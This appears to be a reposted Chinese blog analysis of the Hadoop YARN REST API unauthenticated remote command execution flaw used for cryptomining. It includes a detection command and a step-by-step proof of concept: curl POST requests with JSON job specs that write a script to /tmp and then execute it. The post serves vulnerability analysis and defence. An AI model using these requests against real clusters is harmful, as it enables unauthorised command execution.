Hadoop Yarn REST API未授权漏洞利用挖矿分析

Posted 会飞的鹅

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Hadoop Yarn REST API未授权漏洞利用挖矿分析相关的知识,希望对你有一定的参考价值。

一、背景

5月5日腾讯云安全团队曾针对“攻击者利用Hadoop Yarn资源管理系统REST API未授权漏洞对服务器进行攻击,攻击者可以在未授权的情况下远程执行代码”的安全问题进行预警,在预警的前后我们曾多次捕获相关的攻击案例,其中就包含利用该问题进行挖矿,我们针对其中一个案例进行分析并提供响应的安全建议和解决方案。

二、漏洞说明

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,通过YARN来管理资源。简单的说,用户可以向YARN提交特定应用程序进行执行,其中就允许执行相关包含系统命令。

YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题,那么任何黑客则就均可利用其进行远程命令执行,从而进行挖矿等行为。

 

检测方法

curl http://node01:8088/ws/v1/cluster

返回类似如下内容则有可能被攻击

image.png

攻击步骤

1、申请新的application

直接通过curl进行POST请求

通过REST API提交任务,向/tmp目录输出接下来要执行的脚本内容

curl -H "Accept: application/json" -H "Content-Type: application/json" http://node01:8088/ws/v1/cluster/apps -X POST --data-binary @setup.json

setup.json

{
        "am-container-spec":{
          "commands":{
                "command":"echo \'echo 11 > /tmp/time_1.sh\' > /tmp/setup.sh"
          }
        },
        "application-id":"application_1621418758341_0210",
        "application-name":"setup",
        "application-type":"YARN"
}

image.png

在服务器的tmp目录下查看,已经生成该脚本

image.png

再次提交任务,执行该脚本

curl -H "Accept: application/json" -H "Content-Type: application/json" http://node01:8088/ws/v1/cluster/apps -X POST --data-binary @exec.json

exec.json

{
    "am-container-spec":{
      "commands":{
        "command":"sh /tmp/setup.sh"
      }
    },
    "application-id":"application_1621418758341_0211",
    "application-name":"exec",
    "application-type":"YARN"
}

漏洞警报Hadoop Yarn资源管理系统未授权访问漏洞

Hadoop Yarn RPC未授权访问漏洞

你的数据安全么?Hadoop再曝安全漏洞| 黑客利用Hadoop Yarn资源管理系统未授权访问漏洞

首发预警 | 黑客利用Hadoop Yarn资源管理系统未授权访问漏洞进行攻击

[ 漏洞复现篇 ] Joomla未授权访问Rest API漏洞(CVE-2023-23752)

挖矿程序中毒分析(有这篇够不)